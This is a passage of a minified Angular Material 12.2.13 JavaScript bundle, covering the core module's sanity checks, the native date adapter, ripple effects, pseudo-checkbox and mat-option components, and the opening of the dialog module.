new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({}),t}(),A=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({imports:[[a.si,a.BQ,u.Q8,E],a.BQ,E]}),t}()},24298:function(t,e,n){"use strict";n.d(e,{yN:function(){return S},mZ:function(){return E},_A:function(){return F},rD:function(){return W},sG:function(){return U},K7:function(){return pt},HF:function(){return lt},Y2:function(){return ot},BQ:function(){return I},X2:function(){return J},uc:function(){return X},XK:function(){return Z},ey:function(){return yt},Ng:function(){return kt},nP:function(){return ut},us:function(){return ct},wG:function(){return at},si:function(){return st},LF:function(){return Y},IR:function(){return rt},CB:function(){return _t},jH:function(){return bt},pj:function(){return R},Kr:function(){return P},Id:function(){return O},FD:function(){return D},sb:function(){return N},E0:function(){return Q}});var i=n(2316),r=n(51606),o=n(772),a=new i.GfV("12.2.13"),s=n(54364),c=n(36145),h=n(20657),d=n(79441),v=n(1143),g=n(71918),b=n(90084);function k(t,e){if(1&t&&i._UZ(0,"mat-pseudo-checkbox",4),2&t){var n=i.oxw();i.Q6J("state",n.selected?"checked":"unchecked")("disabled",n.disabled)}}function w(t,e){if(1&t&&(i.TgZ(0,"span",5),i._uU(1),i.qZA()),2&t){var n=i.oxw();i.xp6(1),i.hij("(",n.group.label,")")}}var C,x=["*"],S=((C=function t(){_(this,t)}).STANDARD_CURVE="cubic-bezier(0.4,0.0,0.2,1)",C.DECELERATION_CURVE="cubic-bezier(0.0,0.0,0.2,1)",C.ACCELERATION_CURVE="cubic-bezier(0.4,0.0,1,1)",C.SHARP_CURVE="cubic-bezier(0.4,0.0,0.6,1)",C),E=function(){var t=function t(){_(this,t)};return t.COMPLEX="375ms",t.ENTERING="225ms",t.EXITING="195ms",t}(),A=new i.GfV("12.2.13"),T=new i.OlP("mat-sanity-checks",{providedIn:"root",factory:function(){return!0}}),I=function(){var t=function(){function t(e,n,i){_(this,t),this._hasDoneGlobalChecks=!1,this._document=i,e._applyBodyHighContrastModeCssClasses(),this._sanityChecks=n,this._hasDoneGlobalChecks||(this._checkDoctypeIsDefined(),this._checkThemeIsPresent(),this._checkCdkVersionMatch(),this._hasDoneGlobalChecks=!0)}return y(t,[{key:"_checkIsEnabled",value:function(t){return!(!(0,i.X6Q)()||(0,c.Oy)())&&("boolean"==typeof this._sanityChecks?this._sanityChecks:!!this._sanityChecks[t])}},{key:"_checkDoctypeIsDefined",value:function(){this._checkIsEnabled("doctype")&&!this._document.doctype&&console.warn("Current document does not have a doctype. This may cause some Angular Material components not to behave as expected.")}},{key:"_checkThemeIsPresent",value:function(){if(this._checkIsEnabled("theme")&&this._document.body&&"function"==typeof getComputedStyle){var t=this._document.createElement("div");t.classList.add("mat-theme-loaded-marker"),this._document.body.appendChild(t);var e=getComputedStyle(t);e&&"none"!==e.display&&console.warn("Could not find Angular Material core theme. Most Material components may not work as expected. For more info refer to the theming guide: https://material.angular.io/guide/theming"),this._document.body.removeChild(t)}}},{key:"_checkCdkVersionMatch",value:function(){this._checkIsEnabled("version")&&A.full!==a.full&&console.warn("The Angular Material version ("+A.full+") does not match the Angular CDK version ("+a.full+").\nPlease ensure the versions of these two packages exactly match.")}}]),t}();return t.\u0275fac=function(e){return new(e||t)(i.LFG(r.qm),i.LFG(T,8),i.LFG(s.K0))},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[o.vT],o.vT]}),t}();function O(t){return function(t){l(n,t);var e=f(n);function n(){var t;_(this,n);for(var i=arguments.length,r=new Array(i),o=0;o<i;o++)r[o]=arguments[o];return(t=e.call.apply(e,[this].concat(r)))._disabled=!1,t}return y(n,[{key:"disabled",get:function(){return this._disabled},set:function(t){this._disabled=(0,h.Ig)(t)}}]),n}(t)}function R(t,e){return function(t){l(i,t);var n=f(i);function i(){var t;_(this,i);for(var r=arguments.length,o=new Array(r),a=0;a<r;a++)o[a]=arguments[a];return(t=n.call.apply(n,[this].concat(o))).defaultColor=e,t.color=e,t}return y(i,[{key:"color",get:function(){return this._color},set:function(t){var e=t||this.defaultColor;e!==this._color&&(this._color&&this._elementRef.nativeElement.classList.remove("mat-".concat(this._color)),e&&this._elementRef.nativeElement.classList.add("mat-".concat(e)),this._color=e)}}]),i}(t)}function P(t){return function(t){l(n,t);var e=f(n);function n(){var t;_(this,n);for(var i=arguments.length,r=new Array(i),o=0;o<i;o++)r[o]=arguments[o];return(t=e.call.apply(e,[this].concat(r)))._disableRipple=!1,t}return y(n,[{key:"disableRipple",get:function(){return this._disableRipple},set:function(t){this._disableRipple=(0,h.Ig)(t)}}]),n}(t)}function N(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return function(t){l(i,t);var n=f(i);function i(){var t;_(this,i);for(var r=arguments.length,o=new Array(r),a=0;a<r;a++)o[a]=arguments[a];return(t=n.call.apply(n,[this].concat(o)))._tabIndex=e,t.defaultTabIndex=e,t}return y(i,[{key:"tabIndex",get:function(){return this.disabled?-1:this._tabIndex},set:function(t){this._tabIndex=null!=t?(0,h.su)(t):this.defaultTabIndex}}]),i}(t)}function D(t){return function(t){l(n,t);var e=f(n);function n(){var t;_(this,n);for(var i=arguments.length,r=new Array(i),o=0;o<i;o++)r[o]=arguments[o];return(t=e.call.apply(e,[this].concat(r))).stateChanges=new d.xQ,t.errorState=!1,t}return y(n,[{key:"updateErrorState",value:function(){var t=this.errorState,e=(this.errorStateMatcher||this._defaultErrorStateMatcher).isErrorState(this.ngControl?this.ngControl.control:null,this._parentFormGroup||this._parentForm);e!==t&&(this.errorState=e,this.stateChanges.next())}}]),n}(t)}var L,M=new i.OlP("MAT_DATE_LOCALE",{providedIn:"root",factory:function(){return(0,i.f3M)(i.soG)}}),F=function(){function t(){_(this,t),this._localeChanges=new d.xQ,this.localeChanges=this._localeChanges}return y(t,[{key:"getValidDateOrNull",value:function(t){return this.isDateInstance(t)&&this.isValid(t)?t:null}},{key:"deserialize",value:function(t){return null==t||this.isDateInstance(t)&&this.isValid(t)?t:this.invalid()}},{key:"setLocale",value:function(t){this.locale=t,this._localeChanges.next()}},{key:"compareDate",value:function(t,e){return this.getYear(t)-this.getYear(e)||this.getMonth(t)-this.getMonth(e)||this.getDate(t)-this.getDate(e)}},{key:"sameDate",value:function(t,e){if(t&&e){var n=this.isValid(t),i=this.isValid(e);return n&&i?!this.compareDate(t,e):n==i}return t==e}},{key:"clampDate",value:function(t,e,n){return e&&this.compareDate(t,e)<0?e:n&&this.compareDate(t,n)>0?n:t}}]),t}(),U=new i.OlP("mat-date-formats");try{L="undefined"!=typeof Intl}catch(C){L=!1}var B={long:["January","February","March","April","May","June","July","August","September","October","November","December"],short:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],narrow:["J","F","M","A","M","J","J","A","S","O","N","D"]},j=G(31,function(t){return String(t+1)}),H={long:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],short:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],narrow:["S","M","T","W","T","F","S"]},V=/^\d{4}-\d{2}-\d{2}(?:T\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|(?:(?:\+|-)\d{2}:\d{2}))?)?$/;function G(t,e){for(var n=Array(t),i=0;i<t;i++)n[i]=e(i);return n}var Y=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i){var r,o;return _(this,n),(o=e.call(this)).useUtcForDisplay=!0,u((r=p(o),m(n.prototype)),"setLocale",r).call(r,t),o.useUtcForDisplay=!i.TRIDENT,o._clampDate=i.TRIDENT||i.EDGE,o}return y(n,[{key:"getYear",value:function(t){return t.getFullYear()}},{key:"getMonth",value:function(t){return t.getMonth()}},{key:"getDate",value:function(t){return t.getDate()}},{key:"getDayOfWeek",value:function(t){return t.getDay()}},{key:"getMonthNames",value:function(t){var e=this;if(L){var n=new Intl.DateTimeFormat(this.locale,{month:t,timeZone:"utc"});return G(12,function(t){return e._stripDirectionalityCharacters(e._format(n,new Date(2017,t,1)))})}return B[t]}},{key:"getDateNames",value:function(){var t=this;if(L){var e=new Intl.DateTimeFormat(this.locale,{day:"numeric",timeZone:"utc"});return G(31,function(n){return t._stripDirectionalityCharacters(t._format(e,new Date(2017,0,n+1)))})}return j}},{key:"getDayOfWeekNames",value:function(t){var e=this;if(L){var n=new Intl.DateTimeFormat(this.locale,{weekday:t,timeZone:"utc"});return G(7,function(t){return e._stripDirectionalityCharacters(e._format(n,new Date(2017,0,t+1)))})}return H[t]}},{key:"getYearName",value:function(t){if(L){var e=new Intl.DateTimeFormat(this.locale,{year:"numeric",timeZone:"utc"});return this._stripDirectionalityCharacters(this._format(e,t))}return String(this.getYear(t))}},{key:"getFirstDayOfWeek",value:function(){return 0}},{key:"getNumDaysInMonth",value:function(t){return this.getDate(this._createDateWithOverflow(this.getYear(t),this.getMonth(t)+1,0))}},{key:"clone",value:function(t){return new Date(t.getTime())}},{key:"createDate",value:function(t,e,n){var i=this._createDateWithOverflow(t,e,n);return i.getMonth(),i}},{key:"today",value:function(){return new Date}},{key:"parse",value:function(t){return"number"==typeof t?new Date(t):t?new Date(Date.parse(t)):null}},{key:"format",value:function(t,e){if(!this.isValid(t))throw Error("NativeDateAdapter: Cannot format invalid date.");if(L){this._clampDate&&(t.getFullYear()<1||t.getFullYear()>9999)&&(t=this.clone(t)).setFullYear(Math.max(1,Math.min(9999,t.getFullYear()))),e=Object.assign(Object.assign({},e),{timeZone:"utc"});var n=new Intl.DateTimeFormat(this.locale,e);return this._stripDirectionalityCharacters(this._format(n,t))}return this._stripDirectionalityCharacters(t.toDateString())}},{key:"addCalendarYears",value:function(t,e){return this.addCalendarMonths(t,12*e)}},{key:"addCalendarMonths",value:function(t,e){var n=this._createDateWithOverflow(this.getYear(t),this.getMonth(t)+e,this.getDate(t));return this.getMonth(n)!=((this.getMonth(t)+e)%12+12)%12&&(n=this._createDateWithOverflow(this.getYear(n),this.getMonth(n),0)),n}},{key:"addCalendarDays",value:function(t,e){return this._createDateWithOverflow(this.getYear(t),this.getMonth(t),this.getDate(t)+e)}},{key:"toIso8601",value:function(t){return[t.getUTCFullYear(),this._2digit(t.getUTCMonth()+1),this._2digit(t.getUTCDate())].join("-")}},{key:"deserialize",value:function(t){if("string"==typeof t){if(!t)return null;if(V.test(t)){var e=new Date(t);if(this.isValid(e))return e}}return u(m(n.prototype),"deserialize",this).call(this,t)}},{key:"isDateInstance",value:function(t){return t instanceof Date}},{key:"isValid",value:function(t){return!isNaN(t.getTime())}},{key:"invalid",value:function(){return new Date(NaN)}},{key:"_createDateWithOverflow",value:function(t,e,n){var i=new Date;return i.setFullYear(t,e,n),i.setHours(0,0,0,0),i}},{key:"_2digit",value:function(t){return("00"+t).slice(-2)}},{key:"_stripDirectionalityCharacters",value:function(t){return t.replace(/[\u200e\u200f]/g,"")}},{key:"_format",value:function(t,e){var n=new Date;return n.setUTCFullYear(e.getFullYear(),e.getMonth(),e.getDate()),n.setUTCHours(e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds()),t.format(n)}}]),n}(F);return t.\u0275fac=function(e){return new(e||t)(i.LFG(M,8),i.LFG(c.t4))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t}(),q=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({providers:[{provide:F,useClass:Y}],imports:[[c.ud]]}),t}(),z={parse:{dateInput:null},display:{dateInput:{year:"numeric",month:"numeric",day:"numeric"},monthYearLabel:{year:"numeric",month:"short"},dateA11yLabel:{year:"numeric",month:"long",day:"numeric"},monthYearA11yLabel:{year:"numeric",month:"long"}}},Z=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({providers:[{provide:U,useValue:z}],imports:[[q]]}),t}(),W=function(){var t=function(){function t(){_(this,t)}return y(t,[{key:"isErrorState",value:function(t,e){return!!(t&&t.invalid&&(t.touched||e&&e.submitted))}}]),t}();return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=i.Yz7({factory:function(){return new t},token:t,providedIn:"root"}),t}(),J=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=i.lG2({type:t,selectors:[["","mat-line",""],["","matLine",""]],hostAttrs:[1,"mat-line"]}),t}();function Q(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"mat";t.changes.pipe((0,v.O)(t)).subscribe(function(t){var i=t.length;K(e,"".concat(n,"-2-line"),!1),K(e,"".concat(n,"-3-line"),!1),K(e,"".concat(n,"-multi-line"),!1),2===i||3===i?K(e,"".concat(n,"-").concat(i,"-line"),!0):i>3&&K(e,"".concat(n,"-multi-line"),!0)})}function K(t,e,n){var i=t.nativeElement.classList;n?i.add(e):i.remove(e)}var X=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[I],I]}),t}(),$=function(){function t(e,n,i){_(this,t),this._renderer=e,this.element=n,this.config=i,this.state=3}return y(t,[{key:"fadeOut",value:function(){this._renderer.fadeOutRipple(this)}}]),t}(),tt={enterDuration:225,exitDuration:150},et=(0,c.i$)({passive:!0}),nt=["mousedown","touchstart"],it=["mouseup","mouseleave","touchend","touchcancel"],rt=function(){function t(e,n,i,r){_(this,t),this._target=e,this._ngZone=n,this._isPointerDown=!1,this._activeRipples=new Set,this._pointerUpEventsRegistered=!1,r.isBrowser&&(this._containerElement=(0,h.fI)(i))}return y(t,[{key:"fadeInRipple",value:function(t,e){var n=this,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=this._containerRect=this._containerRect||this._containerElement.getBoundingClientRect(),o=Object.assign(Object.assign({},tt),i.animation);i.centered&&(t=r.left+r.width/2,e=r.top+r.height/2);var a=i.radius||function(t,e,n){var i=Math.max(Math.abs(t-n.left),Math.abs(t-n.right)),r=Math.max(Math.abs(e-n.top),Math.abs(e-n.bottom));return Math.sqrt(i*i+r*r)}(t,e,r),s=t-r.left,u=e-r.top,c=o.enterDuration,l=document.createElement("div");l.classList.add("mat-ripple-element"),l.style.left=s-a+"px",l.style.top=u-a+"px",l.style.height=2*a+"px",l.style.width=2*a+"px",null!=i.color&&(l.style.backgroundColor=i.color),l.style.transitionDuration="".concat(c,"ms"),this._containerElement.appendChild(l),window.getComputedStyle(l).getPropertyValue("opacity"),l.style.transform="scale(1)";var h=new $(this,l,i);return h.state=0,this._activeRipples.add(h),i.persistent||(this._mostRecentTransientRipple=h),this._runTimeoutOutsideZone(function(){var t=h===n._mostRecentTransientRipple;h.state=1,!i.persistent&&(!t||!n._isPointerDown)&&h.fadeOut()},c),h}},{key:"fadeOutRipple",value:function(t){var e=this._activeRipples.delete(t);if(t===this._mostRecentTransientRipple&&(this._mostRecentTransientRipple=null),this._activeRipples.size||(this._containerRect=null),e){var n=t.element,i=Object.assign(Object.assign({},tt),t.config.animation);n.style.transitionDuration="".concat(i.exitDuration,"ms"),n.style.opacity="0",t.state=2,this._runTimeoutOutsideZone(function(){t.state=3,n.parentNode.removeChild(n)},i.exitDuration)}}},{key:"fadeOutAll",value:function(){this._activeRipples.forEach(function(t){return t.fadeOut()})}},{key:"fadeOutAllNonPersistent",value:function(){this._activeRipples.forEach(function(t){t.config.persistent||t.fadeOut()})}},{key:"setupTriggerEvents",value:function(t){var e=(0,h.fI)(t);!e||e===this._triggerElement||(this._removeTriggerEvents(),this._triggerElement=e,this._registerEvents(nt))}},{key:"handleEvent",value:function(t){"mousedown"===t.type?this._onMousedown(t):"touchstart"===t.type?this._onTouchStart(t):this._onPointerUp(),this._pointerUpEventsRegistered||(this._registerEvents(it),this._pointerUpEventsRegistered=!0)}},{key:"_onMousedown",value:function(t){var e=(0,r.X6)(t),n=this._lastTouchStartEvent&&Date.now()<this._lastTouchStartEvent+800;!this._target.rippleDisabled&&!e&&!n&&(this._isPointerDown=!0,this.fadeInRipple(t.clientX,t.clientY,this._target.rippleConfig))}},{key:"_onTouchStart",value:function(t){if(!this._target.rippleDisabled&&!(0,r.yG)(t)){this._lastTouchStartEvent=Date.now(),this._isPointerDown=!0;for(var e=t.changedTouches,n=0;n<e.length;n++)this.fadeInRipple(e[n].clientX,e[n].clientY,this._target.rippleConfig)}}},{key:"_onPointerUp",value:function(){!this._isPointerDown||(this._isPointerDown=!1,this._activeRipples.forEach(function(t){!t.config.persistent&&(1===t.state||t.config.terminateOnPointerUp&&0===t.state)&&t.fadeOut()}))}},{key:"_runTimeoutOutsideZone",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;this._ngZone.runOutsideAngular(function(){return setTimeout(t,e)})}},{key:"_registerEvents",value:function(t){var e=this;this._ngZone.runOutsideAngular(function(){t.forEach(function(t){e._triggerElement.addEventListener(t,e,et)})})}},{key:"_removeTriggerEvents",value:function(){var t=this;this._triggerElement&&(nt.forEach(function(e){t._triggerElement.removeEventListener(e,t,et)}),this._pointerUpEventsRegistered&&it.forEach(function(e){t._triggerElement.removeEventListener(e,t,et)}))}}]),t}(),ot=new i.OlP("mat-ripple-global-options"),at=function(){var t=function(){function t(e,n,i,r,o){_(this,t),this._elementRef=e,this._animationMode=o,this.radius=0,this._disabled=!1,this._isInitialized=!1,this._globalOptions=r||{},this._rippleRenderer=new rt(this,n,e,i)}return y(t,[{key:"disabled",get:function(){return this._disabled},set:function(t){t&&this.fadeOutAllNonPersistent(),this._disabled=t,this._setupTriggerEventsIfEnabled()}},{key:"trigger",get:function(){return this._trigger||this._elementRef.nativeElement},set:function(t){this._trigger=t,this._setupTriggerEventsIfEnabled()}},{key:"ngOnInit",value:function(){this._isInitialized=!0,this._setupTriggerEventsIfEnabled()}},{key:"ngOnDestroy",value:function(){this._rippleRenderer._removeTriggerEvents()}},{key:"fadeOutAll",value:function(){this._rippleRenderer.fadeOutAll()}},{key:"fadeOutAllNonPersistent",value:function(){this._rippleRenderer.fadeOutAllNonPersistent()}},{key:"rippleConfig",get:function(){return{centered:this.centered,radius:this.radius,color:this.color,animation:Object.assign(Object.assign(Object.assign({},this._globalOptions.animation),"NoopAnimations"===this._animationMode?{enterDuration:0,exitDuration:0}:{}),this.animation),terminateOnPointerUp:this._globalOptions.terminateOnPointerUp}}},{key:"rippleDisabled",get:function(){return this.disabled||!!this._globalOptions.disabled}},{key:"_setupTriggerEventsIfEnabled",value:function(){!this.disabled&&this._isInitialized&&this._rippleRenderer.setupTriggerEvents(this.trigger)}},{key:"launch",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2?arguments[2]:void 0;return"number"==typeof t?this._rippleRenderer.fadeInRipple(t,e,Object.assign(Object.assign({},this.rippleConfig),n)):this._rippleRenderer.fadeInRipple(0,0,Object.assign(Object.assign({},this.rippleConfig),t))}}]),t}();return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.SBq),i.Y36(i.R0b),i.Y36(c.t4),i.Y36(ot,8),i.Y36(g.Qb,8))},t.\u0275dir=i.lG2({type:t,selectors:[["","mat-ripple",""],["","matRipple",""]],hostAttrs:[1,"mat-ripple"],hostVars:2,hostBindings:function(t,e){2&t&&i.ekj("mat-ripple-unbounded",e.unbounded)},inputs:{radius:["matRippleRadius","radius"],disabled:["matRippleDisabled","disabled"],trigger:["matRippleTrigger","trigger"],color:["matRippleColor","color"],unbounded:["matRippleUnbounded","unbounded"],centered:["matRippleCentered","centered"],animation:["matRippleAnimation","animation"]},exportAs:["matRipple"]}),t}(),st=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[I,c.ud],I]}),t}(),ut=function(){var t=function t(e){_(this,t),this._animationMode=e,this.state="unchecked",this.disabled=!1};return t.\u0275fac=function(e){return new(e||t)(i.Y36(g.Qb,8))},t.\u0275cmp=i.Xpm({type:t,selectors:[["mat-pseudo-checkbox"]],hostAttrs:[1,"mat-pseudo-checkbox"],hostVars:8,hostBindings:function(t,e){2&t&&i.ekj("mat-pseudo-checkbox-indeterminate","indeterminate"===e.state)("mat-pseudo-checkbox-checked","checked"===e.state)("mat-pseudo-checkbox-disabled",e.disabled)("_mat-animation-noopable","NoopAnimations"===e._animationMode)},inputs:{state:"state",disabled:"disabled"},decls:0,vars:0,template:function(t,e){},styles:['.mat-pseudo-checkbox{width:16px;height:16px;border:2px solid;border-radius:2px;cursor:pointer;display:inline-block;vertical-align:middle;box-sizing:border-box;position:relative;flex-shrink:0;transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1),background-color 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox::after{position:absolute;opacity:0;content:"";border-bottom:2px solid currentColor;transition:opacity 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox.mat-pseudo-checkbox-checked,.mat-pseudo-checkbox.mat-pseudo-checkbox-indeterminate{border-color:transparent}._mat-animation-noopable.mat-pseudo-checkbox{transition:none;animation:none}._mat-animation-noopable.mat-pseudo-checkbox::after{transition:none}.mat-pseudo-checkbox-disabled{cursor:default}.mat-pseudo-checkbox-indeterminate::after{top:5px;left:1px;width:10px;opacity:1;border-radius:2px}.mat-pseudo-checkbox-checked::after{top:2.4px;left:1px;width:8px;height:3px;border-left:2px solid currentColor;transform:rotate(-45deg);opacity:1;box-sizing:content-box}\n'],encapsulation:2,changeDetection:0}),t}(),ct=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[I]]}),t}(),lt=new i.OlP("MAT_OPTION_PARENT_COMPONENT"),ht=O(function(){return function t(){_(this,t)}}()),ft=0,dt=function(){var t=function(t){l(n,t);var e=f(n);function n(t){var i,r;return _(this,n),(i=e.call(this))._labelId="mat-optgroup-label-"+ft++,i._inert=null!==(r=null==t?void 0:t.inertGroups)&&void 0!==r&&r,i}return n}(ht);return t.\u0275fac=function(e){return new(e||t)(i.Y36(lt,8))},t.\u0275dir=i.lG2({type:t,inputs:{label:"label"},features:[i.qOj]}),t}(),pt=new i.OlP("MatOptgroup"),vt=0,mt=function t(e){var n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];_(this,t),this.source=e,this.isUserInput=n},gt=function(){var t=function(){function t(e,n,r,o){_(this,t),this._element=e,this._changeDetectorRef=n,this._parent=r,this.group=o,this._selected=!1,this._active=!1,this._disabled=!1,this._mostRecentViewValue="",this.id="mat-option-"+vt++,this.onSelectionChange=new i.vpe,this._stateChanges=new d.xQ}return y(t,[{key:"multiple",get:function(){return this._parent&&this._parent.multiple}},{key:"selected",get:function(){return this._selected}},{key:"disabled",get:function(){return this.group&&this.group.disabled||this._disabled},set:function(t){this._disabled=(0,h.Ig)(t)}},{key:"disableRipple",get:function(){return this._parent&&this._parent.disableRipple}},{key:"active",get:function(){return this._active}},{key:"viewValue",get:function(){return(this._getHostElement().textContent||"").trim()}},{key:"select",value:function(){this._selected||(this._selected=!0,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}},{key:"deselect",value:function(){this._selected&&(this._selected=!1,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}},{key:"focus",value:function(t,e){var n=this._getHostElement();"function"==typeof n.focus&&n.focus(e)}},{key:"setActiveStyles",value:function(){this._active||(this._active=!0,this._changeDetectorRef.markForCheck())}},{key:"setInactiveStyles",value:function(){this._active&&(this._active=!1,this._changeDetectorRef.markForCheck())}},{key:"getLabel",value:function(){return this.viewValue}},{key:"_handleKeydown",value:function(t){(t.keyCode===b.K5||t.keyCode===b.L_)&&!(0,b.Vb)(t)&&(this._selectViaInteraction(),t.preventDefault())}},{key:"_selectViaInteraction",value:function(){this.disabled||(this._selected=!this.multiple||!this._selected,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent(!0))}},{key:"_getAriaSelected",value:function(){return this.selected||!this.multiple&&null}},{key:"_getTabIndex",value:function(){return this.disabled?"-1":"0"}},{key:"_getHostElement",value:function(){return this._element.nativeElement}},{key:"ngAfterViewChecked",value:function(){if(this._selected){var t=this.viewValue;t!==this._mostRecentViewValue&&(this._mostRecentViewValue=t,this._stateChanges.next())}}},{key:"ngOnDestroy",value:function(){this._stateChanges.complete()}},{key:"_emitSelectionChangeEvent",value:function(){var t=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this.onSelectionChange.emit(new mt(this,t))}}]),t}();return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.SBq),i.Y36(i.sBO),i.Y36(void 0),i.Y36(dt))},t.\u0275dir=i.lG2({type:t,inputs:{id:"id",disabled:"disabled",value:"value"},outputs:{onSelectionChange:"onSelectionChange"}}),t}(),yt=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,o){return _(this,n),e.call(this,t,i,r,o)}return n}(gt);return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.SBq),i.Y36(i.sBO),i.Y36(lt,8),i.Y36(pt,8))},t.\u0275cmp=i.Xpm({type:t,selectors:[["mat-option"]],hostAttrs:["role","option",1,"mat-option","mat-focus-indicator"],hostVars:12,hostBindings:function(t,e){1&t&&i.NdJ("click",function(){return e._selectViaInteraction()})("keydown",function(t){return e._handleKeydown(t)}),2&t&&(i.Ikx("id",e.id),i.uIk("tabindex",e._getTabIndex())("aria-selected",e._getAriaSelected())("aria-disabled",e.disabled.toString()),i.ekj("mat-selected",e.selected)("mat-option-multiple",e.multiple)("mat-active",e.active)("mat-option-disabled",e.disabled))},exportAs:["matOption"],features:[i.qOj],ngContentSelectors:x,decls:5,vars:4,consts:[["class","mat-option-pseudo-checkbox",3,"state","disabled",4,"ngIf"],[1,"mat-option-text"],["class","cdk-visually-hidden",4,"ngIf"],["mat-ripple","",1,"mat-option-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-option-pseudo-checkbox",3,"state","disabled"],[1,"cdk-visually-hidden"]],template:function(t,e){1&t&&(i.F$t(),i.YNc(0,k,1,2,"mat-pseudo-checkbox",0),i.TgZ(1,"span",1),i.Hsn(2),i.qZA(),i.YNc(3,w,2,1,"span",2),i._UZ(4,"div",3)),2&t&&(i.Q6J("ngIf",e.multiple),i.xp6(3),i.Q6J("ngIf",e.group&&e.group._inert),i.xp6(1),i.Q6J("matRippleTrigger",e._getHostElement())("matRippleDisabled",e.disabled||e.disableRipple))},directives:[s.O5,at,ut],styles:[".mat-option{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;position:relative;cursor:pointer;outline:none;display:flex;flex-direction:row;max-width:100%;box-sizing:border-box;align-items:center;-webkit-tap-highlight-color:transparent}.mat-option[disabled]{cursor:default}[dir=rtl] .mat-option{text-align:right}.mat-option .mat-icon{margin-right:16px;vertical-align:middle}.mat-option .mat-icon svg{vertical-align:top}[dir=rtl] .mat-option .mat-icon{margin-left:16px;margin-right:0}.mat-option[aria-disabled=true]{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:default}.mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:32px}[dir=rtl] .mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:16px;padding-right:32px}.cdk-high-contrast-active .mat-option{margin:0 1px}.cdk-high-contrast-active .mat-option.mat-active{border:solid 1px currentColor;margin:0}.cdk-high-contrast-active .mat-option[aria-disabled=true]{opacity:.5}.mat-option-text{display:inline-block;flex-grow:1;overflow:hidden;text-overflow:ellipsis}.mat-option .mat-option-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-option-pseudo-checkbox{margin-right:8px}[dir=rtl] .mat-option-pseudo-checkbox{margin-left:8px;margin-right:0}\n"],encapsulation:2,changeDetection:0}),t}();function _t(t,e,n){if(n.length){for(var i=e.toArray(),r=n.toArray(),o=0,a=0;a<t+1;a++)i[a].group&&i[a].group===r[o]&&o++;return o}return 0}function bt(t,e,n,i){return t<n?t:t+e>n+i?Math.max(0,t-i+e):n}var kt=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[st,s.ez,I,ct]]}),t}()},22213:function(t,e,n){"use strict";n.d(e,{WI:function(){return P},uw:function(){return F},H8:function(){return H},xY:function(){return j},Is:function(){return V},so:function(){return O},uh:function(){return B}});var i=n(6199),r=n(40912),o=n(2316),a=n(24298),s=n(772),u=n(54364),c=n(79441),h=n(58640),d=n(81134),p=n(9170),v=n(53466),m=n(1143),g=n(36145),b=n(97175),k=n(90084),w=n(51606);function C(t,e){}var x,S=function t(){_(this,t),this.role="dialog",this.panelClass="",this.hasBackdrop=!0,this.backdropClass="",this.disableClose=!1,this.width="",this.height="",this.maxWidth="80vw",this.data=null,this.ariaDescribedBy=null,this.ariaLabelledBy=null,this.ariaLabel=null,this.autoFocus=!0,this.restoreFocus=!0,this.closeOnNavigation=!0},E={dialogContainer:(0,b.X$)("dialogContainer",[(0,b.SB)("void, exit",(0,b.oB)({opacity:0,transform:"scale(0.7)"})),(0,b.SB)("enter",(0,b.oB)({transform:"none"})),(0,b.eR)("* => enter",(0,b.jt)("150ms cubic-bezier(0, 0, 0.2, 1)",(0,b.oB)({transform:"none",opacity:1}))),(0,b.eR)("* => void, * => exit",(0,b.jt)("75ms cubic-bezier(0.4, 0.0, 0.2, 